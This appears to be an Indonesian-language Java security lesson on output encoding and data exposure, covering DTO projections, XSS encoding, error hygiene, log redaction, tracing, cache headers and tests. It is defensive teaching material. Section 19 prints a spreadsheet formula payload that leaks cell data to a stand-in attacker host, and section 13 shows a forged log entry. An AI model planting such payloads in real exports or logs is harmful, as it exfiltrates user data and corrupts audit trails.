Build CoreOrdered learning track

Output Encoding and Data Exposure

Learn Java Security, Cryptography, Integrity and Platform Hardening - Part 009

Output encoding dan data exposure control untuk sistem Java: context-aware encoding, DTO minimization, error response hygiene, log/trace/metric safety, masking/redaction, cache exposure, dan outbound security invariants.

16 min read3161 words
PrevNext
Lesson 0934 lesson track0718 Build Core
#java#security#output-encoding#data-exposure+5 more

Part 009 — Output Encoding and Data Exposure

Output safety bukan hanya “hindari XSS”. Output safety adalah kemampuan sistem untuk memastikan data yang keluar dari boundary hanya data yang benar, dalam konteks yang benar, dengan representasi yang aman, kepada audience yang benar, dan dengan jejak operasional yang tidak membocorkan rahasia.

Pada Part 008, kita membahas input: bagaimana data tidak dipercaya masuk ke sistem dan menjadi domain value yang aman. Part ini membahas sisi sebaliknya: bagaimana data keluar dari sistem tanpa berubah menjadi executable content, bocor ke actor yang salah, tersimpan di kanal observability yang salah, atau menjadi bukti audit yang tidak defensible.

Dalam sistem Java modern, output bukan hanya HTTP response. Output mencakup JSON, HTML, CSV, PDF, email, push notification, webhook, Kafka event, audit log, application log, metric label, distributed trace attribute, exception message, cache entry, file export, object storage object, temporary file, database projection, dan admin dashboard.


1. Posisi Part Ini dalam Framework Kaufman

Kaufman-style skill decomposition untuk output safety:

SubskillTujuan Praktis
Audience mappingMenentukan siapa yang boleh melihat data tertentu.
Channel classificationMembedakan response, log, metric, trace, event, export, cache, dan notification.
Context-aware encodingMengubah data menjadi representasi aman sesuai konteks interpretasi.
Data minimizationMengeluarkan field minimum yang dibutuhkan caller.
Error hygieneMenghasilkan error yang membantu user/operator tanpa membocorkan internals.
Redaction and maskingMengontrol representasi data sensitif di log, trace, UI, dan export.
Exposure testingMenguji bahwa field rahasia tidak muncul di kanal tidak semestinya.
Operational containmentMengurangi blast radius saat output salah masuk ke log/cache/event.

Target part ini: kamu mampu mendesain outbound pipeline yang mencegah XSS, log injection, accidental PII leakage, verbose error disclosure, over-broad DTO exposure, cache leakage, trace/metric leakage, webhook data oversharing, dan export yang sulit dipertanggungjawabkan.


2. Mental Model: Output Adalah Boundary Kedua

Banyak engineer memperlakukan output sebagai konsekuensi otomatis dari domain object. Ini berbahaya.

Domain object biasanya menyimpan semua yang sistem tahu. Output harus berisi hanya yang audience perlu dan berhak tahu.

Kaidahnya:

Jangan pernah mengirim domain object langsung ke boundary eksternal.

Domain object boleh kaya. Output object harus sengaja miskin.


3. Output Safety Bukan Satu Kontrol

Output risk terjadi karena beberapa kegagalan berbeda.

FailureContohKontrol Utama
Wrong audienceUser A melihat data User BAuthorization + projection per audience
Wrong fieldResponse berisi passwordHash, secretKey, internalRiskScoreDTO minimization
Wrong contextString user masuk HTML/JS tanpa encodingContext-aware output encoding
Wrong channelAccess token muncul di logRedaction/masking/logging policy
Wrong lifetimeData sensitif masuk cache/CDNCache policy, private/no-store
Wrong fidelityMasking terlalu sedikit atau terlalu banyakClassification-aware rendering
Wrong error detailStack trace dikirim ke clientError response hygiene
Wrong audit semanticsLog tidak membedakan actor/action/resource/outcomeAudit event design

Security output bukan hanya “escape string”. Ia adalah kombinasi authorization, minimization, encoding, observability hygiene, dan retention policy.


4. Data Classification untuk Output

Sebelum bisa mengontrol output, sistem perlu tahu jenis data yang sedang keluar.

Contoh klasifikasi praktis:

ClassContohBoleh di Response?Boleh di Log?Catatan
Publicproduct name, public statusYaYaTetap encode sesuai konteks.
Internalinternal ID, workflow stateTergantung audienceTergantungJangan bocor ke public client.
Confidentialemail, phone, address, case noteTergantung authorizationMasked onlyPerlu purpose dan retention.
Secretpassword, token, private key, API keyHampir tidak pernahTidakJangan searchable di log.
Regulatednational ID, health data, financial dataStrictStrict masked/no logAudit dan minimization penting.
Integrity-criticaldecision reason, enforcement outcomeYa untuk audience tepatYa di audit logHarus tamper-evident di sistem tertentu.

Gunakan klasifikasi ini untuk membuat keputusan sistematis. Tanpa klasifikasi, redaction akan menjadi regex random yang selalu bocor pada edge case.


5. DTO Minimization: Jangan Serialize Domain Object

Anti-pattern umum:

@GetMapping("/users/{id}")
public User getUser(@PathVariable UUID id) {
    return userRepository.findById(id).orElseThrow();
}

Masalahnya bukan hanya field sensitif. Masalahnya adalah kontrak publik sekarang tergantung struktur domain internal.

Domain object sering berisi:

  • password hash;
  • security flags;
  • internal risk score;
  • fraud marker;
  • tenant ID internal;
  • audit metadata;
  • soft-delete marker;
  • workflow transition state;
  • raw provider payload;
  • lazy-loaded association;
  • object graph yang terlalu luas.

Lebih aman:

public record UserProfileResponse(
        UUID id,
        String displayName,
        String maskedEmail,
        boolean mfaEnabled
) {}

public final class UserProfileMapper {
    public UserProfileResponse toResponse(User user, Viewer viewer) {
        return new UserProfileResponse(
                user.id(),
                user.displayName(),
                Masking.email(user.email()),
                user.securityProfile().mfaEnabled()
        );
    }
}

Yang penting: mapper bukan hanya transformasi teknis. Mapper adalah enforcement point untuk audience, classification, dan contract.


6. Projection Harus Audience-Aware

Satu resource bisa memiliki banyak projection.

Jangan membuat satu CaseResponse yang dipakai semua audience lalu berharap @JsonIgnore cukup.

Lebih baik punya model eksplisit:

public sealed interface CaseProjection permits PublicCaseView, OfficerCaseView, AuditCaseView {}

public record PublicCaseView(
        String referenceNumber,
        String publicStatus,
        String nextStep
) implements CaseProjection {}

public record OfficerCaseView(
        UUID caseId,
        String referenceNumber,
        String workflowState,
        List<String> assignedTeams,
        Instant dueAt
) implements CaseProjection {}

public record AuditCaseView(
        UUID caseId,
        String actorId,
        String action,
        String outcome,
        Instant occurredAt,
        String evidenceHash
) implements CaseProjection {}

Projection yang berbeda memaksa reviewer bertanya: “audience mana?” bukan “field mana yang kebetulan ada?”


7. Context-Aware Output Encoding

Encoding harus sesuai konteks interpretasi. Encoding HTML body tidak sama dengan HTML attribute, JavaScript string, CSS, URL, CSV, SQL literal, shell argument, atau log line.

Sink ContextRisikoKontrol
HTML bodyXSS via markup/scriptHTML entity encoding
HTML attributeattribute breakoutAttribute encoding + quoted attributes
JavaScript stringscript executionJS string encoding; hindari inline JS
CSSCSS injectionHindari dynamic CSS; strict allowlist
URL parameterURL manipulationPercent-encoding per component
JSONBroken JSON / XSS in HTML embeddingJSON serializer; correct content type
CSVFormula injectionPrefix/escape dangerous cells
Log lineLog forging/injectionStructured logging + CR/LF neutralization
XMLEntity/markup injectionXML serializer + parser hardening
Shell/processCommand injectionHindari shell; pass arguments as array

Aturan mental:

Escape sedekat mungkin dengan sink, bukan saat data masuk.

Data domain harus tetap berupa data. Encoding adalah keputusan output-context.


8. XSS: Masalah Output Context, Bukan Masalah String Jahat

XSS terjadi saat browser menafsirkan data sebagai code.

Contoh buruk:

String html = "<div>Welcome " + userDisplayName + "</div>";

Jika userDisplayName berisi markup, browser bisa mengeksekusinya.

Lebih aman:

String html = "<div>Welcome " + Encode.forHtml(userDisplayName) + "</div>";

Namun kontrol terbaik biasanya bukan merangkai HTML di Java. Gunakan template engine dengan auto-escaping dan hindari escape hatch seperti raw/unescaped output.

Untuk aplikasi frontend modern, backend Java tetap bertanggung jawab untuk:

  • mengirim Content-Type benar;
  • tidak memasukkan user-controlled data ke HTML shell tanpa encoding;
  • tidak menyimpan payload berbahaya yang nanti dirender admin dashboard;
  • membatasi HTML rich text dengan sanitizer yang tepat;
  • tidak mengandalkan frontend untuk semua output safety.

Stored XSS sering muncul dari field yang dianggap “admin-only”, misalnya case note, officer comment, customer name dari integrasi pihak ketiga, atau ticket subject.


9. Rich Text: Encoding Saja Tidak Cukup

Jika aplikasi mengizinkan user memasukkan rich text, pilihannya bukan “escape semua” atau “percaya HTML user”.

Gunakan pipeline:

Hindari:

  • regex untuk membersihkan HTML;
  • allowlist yang terlalu luas seperti style, on*, srcdoc;
  • membolehkan javascript: atau unsafe data URI;
  • mencampur sanitized HTML dengan unsanitized fragments;
  • menganggap “admin input” selalu trusted.

Rich text harus dianggap sebagai mini-language dengan grammar dan policy sendiri.


10. Error Response Hygiene

Client butuh error yang actionable. Attacker tidak boleh mendapat internal map.

Buruk:

{
  "error": "org.postgresql.util.PSQLException: relation enforcement_case_v2 does not exist",
  "stackTrace": "...",
  "sql": "select * from enforcement_case_v2 where tenant_id = ..."
}

Lebih baik:

{
  "type": "https://example.com/problems/internal-error",
  "title": "Unexpected error",
  "status": 500,
  "traceId": "01J4Z...",
  "message": "The request could not be completed. Contact support with the trace ID."
}

Server log internal boleh menyimpan detail yang dibutuhkan operator, tetapi tetap harus redacted.

Pattern Java:

public record ApiError(
        String type,
        String title,
        int status,
        String traceId,
        String message
) {}

public final class ErrorResponseFactory {
    public ApiError from(Throwable error, String traceId) {
        return switch (error) {
            case DomainValidationException e -> new ApiError(
                    "https://example.com/problems/validation-error",
                    "Validation failed",
                    400,
                    traceId,
                    e.safeClientMessage()
            );
            case AuthorizationDeniedException e -> new ApiError(
                    "https://example.com/problems/forbidden",
                    "Forbidden",
                    403,
                    traceId,
                    "You are not allowed to perform this action."
            );
            default -> new ApiError(
                    "https://example.com/problems/internal-error",
                    "Unexpected error",
                    500,
                    traceId,
                    "The request could not be completed."
            );
        };
    }
}

Jangan kirim:

  • stack trace;
  • SQL query;
  • table/column name internal;
  • file path server;
  • hostname internal;
  • secret/env var;
  • classpath/dependency version;
  • policy rule detail yang membantu bypass;
  • perbedaan error yang memungkinkan enumeration.

11. Enumeration Leakage lewat Error

Output exposure tidak selalu berupa field eksplisit. Kadang berupa perbedaan response.

Contoh:

RequestResponseLeak
login email tidak ada404 user not foundEmail enumeration
login password salah401 wrong passwordEmail valid
reset password email tidak adaNo account existsAccount enumeration
case ID milik tenant lain403 forbiddenCase exists
case ID tidak ada404 not foundExistence oracle

Kadang sistem harus mengembalikan status berbeda karena kebutuhan UX/API. Tetapi keputusan itu harus eksplisit.

Default aman untuk resource cross-tenant:

public Case loadVisibleCase(UUID caseId, Viewer viewer) {
    return caseRepository.findByIdAndTenant(caseId, viewer.tenantId())
            .orElseThrow(() -> new NotFoundException("Case not found"));
}

Untuk caller, resource yang tidak ada dan resource yang tidak boleh dilihat bisa sama-sama “not found” jika existence sendiri sensitif.


12. Logging: Output ke Audience Internal Tetap Output

Log sering diperlakukan sebagai tempat aman. Itu asumsi lemah.

Log dibaca oleh:

  • developer;
  • SRE;
  • support;
  • SIEM;
  • vendor observability;
  • backup system;
  • incident responder;
  • audit/review tooling;
  • sometimes attacker after compromise.

Jadi log harus mengikuti policy.

Contoh buruk:

log.info("Login failed for password={} token={} user={}", password, token, email);

Lebih baik:

log.info("login_failed user_hash={} reason={} trace_id={}",
        Hashing.stablePrivacyHash(email),
        "invalid_credentials",
        traceId);

Prinsip log safety:

  1. Jangan log secret.
  2. Jangan log raw credential.
  3. Jangan log full token; maksimal fingerprint pendek.
  4. Jangan log full PII kecuali audit requirement jelas.
  5. Jangan log request/response body mentah secara default.
  6. Jangan log header sensitif seperti Authorization, Cookie, Set-Cookie, X-Api-Key.
  7. Gunakan structured logging agar newline/log forging lebih terkendali.
  8. Redaction harus default-on di boundary observability.

13. Log Injection dan Log Forging

Jika input user masuk log line mentah, attacker bisa menyisipkan newline dan membuat event palsu.

Buruk:

log.warn("Failed login for user=" + username);

Jika username berisi:

alice
INFO payment_approved actor=system amount=1000000

Log text bisa terlihat seperti event sah.

Gunakan structured logging dan neutralisasi control characters:

public final class LogSafe {
    private LogSafe() {}

    public static String text(String value) {
        if (value == null) return null;
        return value
                .replace("\r", "\\r")
                .replace("\n", "\\n")
                .replace("\t", "\\t");
    }
}

Lalu:

log.warn("login_failed username={} ip={} trace_id={}",
        LogSafe.text(username),
        clientIp,
        traceId);

Untuk log JSON, gunakan encoder JSON resmi dari logging framework, bukan string concatenation.


14. Redaction vs Masking vs Tokenization

Istilah ini sering dicampur.

TeknikMaknaContohKapan Dipakai
RedactionMenghapus nilaitoken=[REDACTED]Secret, credential, private key
MaskingMenampilkan sebagianemail=a***@example.comSupport UX, non-secret PII
TokenizationMengganti dengan token referensicustomer=tok_abc123Sistem yang perlu referensi tanpa nilai asli
Hash fingerprintHash stabil untuk korelasi terbatasuser_hash=H(...)Fraud/debug dengan privacy constraint

Jangan masking secret dengan “last 4 chars” jika secret itu bearer credential dan last chars cukup untuk korelasi/attack.

Untuk token, lebih aman log fingerprint:

public final class SecretFingerprint {
    private SecretFingerprint() {}

    public static String fingerprint(byte[] secret, Mac hmac) {
        byte[] digest = hmac.doFinal(secret);
        return Base64.getUrlEncoder()
                .withoutPadding()
                .encodeToString(Arrays.copyOf(digest, 12));
    }
}

Catatan: implementasi HMAC/key management akan dibahas lebih dalam di Part 012 dan Part 018. Di sini fokusnya adalah output policy.


15. Annotation-Based Redaction: Berguna, Tapi Jangan Overtrust

Kita bisa membantu developer dengan annotation:

@Retention(RetentionPolicy.RUNTIME)
@Target({ElementType.FIELD, ElementType.RECORD_COMPONENT})
public @interface Sensitive {
    Sensitivity value();
}

public enum Sensitivity {
    SECRET,
    PII,
    INTERNAL,
    REGULATED
}

Contoh DTO internal:

public record PaymentDebugView(
        UUID paymentId,
        @Sensitive(Sensitivity.PII) String payerEmail,
        @Sensitive(Sensitivity.SECRET) String providerApiKey,
        String status
) {}

Redactor:

public final class Redactor {
    public Object redact(Object value, Sensitivity sensitivity) {
        if (value == null) return null;
        return switch (sensitivity) {
            case SECRET -> "[REDACTED]";
            case PII -> Masking.generic(String.valueOf(value));
            case INTERNAL -> "[INTERNAL]";
            case REGULATED -> "[REDACTED:REGULATED]";
        };
    }
}

Namun annotation tidak cukup jika:

  • object berubah menjadi Map<String,Object>;
  • field berada dalam nested JSON mentah;
  • dependency melakukan logging sendiri;
  • exception message sudah mengandung secret sebelum redactor bekerja;
  • data sensitif masuk metric label;
  • data masuk trace attribute sebelum filter.

Annotation adalah guardrail, bukan security boundary absolut.


16. Metrics: Jangan Masukkan Data High-Cardinality atau Sensitive

Metric label terlihat tidak berbahaya, tetapi sering disimpan lama dan direplikasi luas.

Buruk:

counter("login.failed", "email", email, "reason", reason).increment();

Masalah:

  • email menjadi PII di metric backend;
  • cardinality meledak;
  • biaya naik;
  • query lambat;
  • data sulit dihapus;
  • metric bisa menjadi side-channel.

Lebih baik:

counter("login.failed", "reason", normalizeReason(reason)).increment();

Metric label harus low-cardinality dan non-sensitive:

  • status class: 2xx, 4xx, 5xx;
  • endpoint template: /cases/{id} bukan /cases/123;
  • reason code terbatas;
  • tenant tier bukan tenant ID jika tenant ID sensitif;
  • algorithm family bukan raw key ID jika key ID sensitif.

17. Distributed Tracing: Trace Attribute Bisa Bocor Lebih Cepat dari Log

Tracing sering otomatis menangkap:

  • HTTP URL;
  • query parameter;
  • headers;
  • database statement;
  • message attributes;
  • exception message;
  • stack trace;
  • user ID;
  • tenant ID.

Buat policy:

AttributePolicy
Authorization headerDrop
CookieDrop
API key headerDrop
Full URL with queryStrip query or allowlist
SQL statementParameterized/obfuscated only
User emailHash/mask/drop
Tenant IDDepends classification
Exception messageSanitize
Request bodyOff by default

Java service yang aman tidak hanya punya logging filter. Ia juga punya tracing filter.


18. Cache Exposure

Output yang benar untuk satu user bisa salah jika cache key atau cache-control salah.

Contoh risiko:

  • CDN menyimpan personalized response;
  • browser cache menyimpan document sensitif di shared machine;
  • server-side cache key tidak menyertakan tenant/audience;
  • authorization berubah tetapi cache tetap melayani response lama;
  • export URL publik tanpa expiry;
  • signed URL terlalu lama hidup.

Default untuk data sensitif:

Cache-Control: no-store
Pragma: no-cache

Untuk data yang boleh cache:

  • cache key harus memasukkan tenant/audience/policy version bila relevan;
  • response harus tidak mengandung data user-specific kecuali private cache;
  • invalidation harus mempertimbangkan authorization changes;
  • signed URL harus punya expiry singkat dan scope sempit.

19. File Export dan Spreadsheet Injection

CSV/Excel export adalah output sink yang sering dilupakan.

Jika cell dimulai dengan karakter seperti =, +, -, atau @, spreadsheet bisa menafsirkan cell sebagai formula.

Contoh payload:

=HYPERLINK("http://attacker.example/" & A1, "click")

Kontrol:

public final class CsvCellSafe {
    private static final Set<Character> DANGEROUS_PREFIXES = Set.of('=', '+', '-', '@');

    public static String safeCell(String value) {
        if (value == null || value.isEmpty()) return value;
        char first = value.charAt(0);
        if (DANGEROUS_PREFIXES.contains(first)) {
            return "'" + value;
        }
        return value;
    }
}

Selain itu:

  • jangan export field lebih banyak dari audience;
  • watermark export sensitif;
  • audit siapa meng-export apa dan kapan;
  • enkripsi export at rest jika disimpan;
  • expiry untuk download link;
  • jangan simpan export sensitif di temp directory world-readable;
  • hapus file sementara setelah digunakan.

20. Webhook dan Event: Output ke Sistem Lain

Webhook/event sering dianggap internal, padahal ia memperluas trust boundary.

Kegagalan umum:

  • mengirim full domain object ke partner;
  • memasukkan field internal karena serializer otomatis;
  • tidak punya contract version;
  • event replay membuka data lama;
  • dead-letter queue menyimpan payload sensitif terlalu lama;
  • log broker/consumer menyalin payload mentah;
  • topic terlalu luas sehingga subscriber tidak perlu ikut membaca data sensitif.

Pattern aman:

public record CaseStatusChangedEvent(
        String eventId,
        String eventType,
        String version,
        Instant occurredAt,
        String caseReference,
        String previousPublicStatus,
        String newPublicStatus
) {}

Bukan:

public record CaseStatusChangedEvent(Case caseDomainObject) {}

Event harus diperlakukan sebagai API publik jangka panjang.


21. Response Header Hygiene

Output safety juga terjadi di metadata.

Minimal yang perlu diperhatikan:

HeaderTujuan
Content-TypeMencegah client salah menafsirkan response.
X-Content-Type-Options: nosniffMengurangi MIME sniffing.
Cache-ControlMengontrol penyimpanan response.
Content-Security-PolicyDefense-in-depth untuk XSS.
Referrer-PolicyMengurangi leakage URL.
Strict-Transport-SecurityMemaksa HTTPS untuk domain yang cocok.
Content-DispositionMengontrol inline/download behavior.

Header tidak menggantikan encoding. CSP adalah seatbelt, bukan rem utama.


22. Output Safety untuk Admin UI

Admin UI sering lebih berbahaya daripada public UI karena:

  • menampilkan data dari banyak user;
  • punya privilege tinggi;
  • operator bisa melakukan action destruktif;
  • sering menampilkan “raw payload” untuk debugging;
  • sering dibuat cepat dan kurang diuji.

Stored XSS di admin UI bisa berubah menjadi privilege escalation.

Kontrol khusus:

  • render semua user-generated content sebagai text by default;
  • gunakan viewer terpisah untuk raw payload;
  • batasi HTML/Markdown renderer;
  • jangan tampilkan token/full secret;
  • confirmation step untuk action sensitif;
  • audit setiap read data sensitif jika regulasi menuntut;
  • gunakan CSP ketat;
  • segmentasi role admin;
  • jangan gabungkan support/admin/superuser sebagai satu role.

23. Example: Safe Outbound Pipeline

public final class OutboundRenderer {
    private final AuthorizationService authorizationService;
    private final CaseProjectionFactory projectionFactory;
    private final DataExposurePolicy exposurePolicy;

    public CaseProjection renderCase(CaseId caseId, Viewer viewer) {
        Case domain = loadCase(caseId, viewer.tenantId());

        authorizationService.requireCanView(viewer, domain);

        CaseProjection projection = projectionFactory.project(domain, viewer.role());

        exposurePolicy.assertNoForbiddenFields(projection, viewer.audience());

        return projection;
    }
}

Di controller:

@GetMapping("/cases/{caseId}")
public ResponseEntity<CaseProjection> getCase(
        @PathVariable UUID caseId,
        AuthenticatedViewer viewer
) {
    CaseProjection response = outboundRenderer.renderCase(new CaseId(caseId), viewer.toViewer());

    return ResponseEntity.ok()
            .header(HttpHeaders.CACHE_CONTROL, "no-store")
            .body(response);
}

Di sini output safety adalah pipeline:

  1. load resource dalam tenant boundary;
  2. authorization;
  3. audience-aware projection;
  4. exposure assertion;
  5. cache-control;
  6. serializer aman.

24. Test Strategy untuk Data Exposure

Security output harus dites.

Contoh test field leakage:

@Test
void publicCaseViewMustNotContainInternalFields() throws Exception {
    mockMvc.perform(get("/cases/{id}", caseId)
            .with(user("citizen@example.com")))
            .andExpect(status().isOk())
            .andExpect(jsonPath("$.internalRiskScore").doesNotExist())
            .andExpect(jsonPath("$.assignedOfficerId").doesNotExist())
            .andExpect(jsonPath("$.rawProviderPayload").doesNotExist());
}

Contoh test log redaction:

@Test
void logsMustNotContainAccessToken() {
    String token = "secret-token-value";

    authService.authenticate(new BearerToken(token));

    assertThat(testLogSink.events())
            .noneMatch(event -> event.formattedMessage().contains(token));
}

Contoh test error hygiene:

@Test
void serverErrorMustNotExposeStackTraceOrSql() throws Exception {
    mockMvc.perform(get("/cases/{id}", brokenCaseId))
            .andExpect(status().isInternalServerError())
            .andExpect(jsonPath("$.traceId").exists())
            .andExpect(content().string(not(containsString("SQLException"))))
            .andExpect(content().string(not(containsString("select *"))))
            .andExpect(content().string(not(containsString("at com.example"))));
}

25. Output Security Invariants

Gunakan invariants berikut di PR review:

  1. Domain object tidak boleh langsung keluar ke external boundary.
  2. Setiap output punya audience yang jelas.
  3. Setiap sensitive field punya policy response/log/trace/metric/export.
  4. Encoding dilakukan sesuai sink context.
  5. Error client tidak membawa stack trace, query, secret, path, hostname, atau class internal.
  6. Log tidak berisi credential, token, private key, password, atau raw regulated data.
  7. Metric label tidak berisi PII/secret/high-cardinality identifier.
  8. Trace attribute difilter seperti log.
  9. Cache key dan cache policy mempertimbangkan user/tenant/audience/policy version.
  10. Export/webhook/event tidak menggunakan domain object mentah.
  11. Data exposure test ada untuk endpoint/output berisiko tinggi.
  12. Admin UI tidak dianggap trusted renderer.

26. Common Pitfalls

PitfallKenapa BerbahayaAlternatif
return entity dari controllerField internal bocorExplicit response DTO
@JsonIgnore sebagai policyMudah dilupakan, tidak audience-awareProjection per audience
Escape saat inputSalah konteks outputEscape near sink
Log request body defaultToken/PII bocorAllowlist field log
Full URL di traceQuery param sensitif bocorStrip/allowlist query
Error detail ke clientReconnaissance attackerSafe error contract
Metric label user ID/emailPII + cardinality explosionLow-cardinality reason code
Admin UI raw renderStored XSS privilege escalationText rendering/sanitizer/CSP
CSV export tanpa formula defenseSpreadsheet injectionDangerous prefix handling
Event berisi domain objectPartner/subscriber overexposureVersioned event projection

27. Deliberate Practice

Latihan efektif untuk part ini:

  1. Ambil satu endpoint read-only dari sistem nyata.
  2. Daftar semua field domain object.
  3. Klasifikasikan setiap field: public/internal/confidential/secret/regulated.
  4. Tentukan audience: self, officer, supervisor, admin, partner, auditor.
  5. Buat projection berbeda untuk minimal 3 audience.
  6. Tambahkan test bahwa field forbidden tidak muncul.
  7. Simulasikan exception internal dan pastikan response aman.
  8. Kirim payload dengan newline ke field yang masuk log.
  9. Pastikan log tidak forged dan sensitive value tidak muncul.
  10. Tambahkan cache header policy.

Hasil latihan bukan hanya kode. Hasilnya adalah kemampuan melihat output sebagai controlled disclosure.


28. Review Checklist

Sebelum merge fitur yang mengeluarkan data:

  • Apakah output audience-nya jelas?
  • Apakah domain entity pernah diserialize langsung?
  • Apakah ada field internal/secret/regulated yang bisa bocor?
  • Apakah encoding sesuai konteks sink?
  • Apakah error response aman?
  • Apakah log/trace/metric difilter?
  • Apakah cache policy sesuai sensitivitas data?
  • Apakah webhook/event/export punya projection eksplisit?
  • Apakah ada test anti-leakage?
  • Apakah admin UI tetap memperlakukan user data sebagai untrusted?

29. Ringkasan

Output safety adalah desain disclosure, bukan sekadar escaping.

Model yang harus dibawa:

Jika Part 008 mengajarkan “jangan percaya input”, Part 009 mengajarkan “jangan sembarang mengeluarkan apa yang sistem tahu”.

Pada part berikutnya, kita mulai masuk ke Java Cryptography Architecture. Ini penting karena crypto adalah area di mana output/input/integrity tidak lagi cukup dengan policy biasa; kita perlu primitive, key, provider, algorithm, dan invariant yang benar.


Referensi

  • OWASP Cross-Site Scripting Prevention Cheat Sheet — context-aware output encoding rules.
  • OWASP Logging Cheat Sheet — security logging, data exclusion, event attributes, and log protection.
  • OWASP Top 10 2025 A09 Security Logging and Alerting Failures — logging output encoding and sensitive data in logs.
  • Oracle Secure Coding Guidelines for Java SE — confidential data, logging sensitive information, and output safety.
  • OWASP Java Encoder Project — Java-oriented output encoding support.
Lesson Recap

You just completed lesson 09 in build core. Use the series map if you want to review the broader track, or continue directly into the next lesson while the context is still warm.

Continue The Track

Keep the momentum while the lesson is still fresh. Move backward for review or continue forward into the next concept.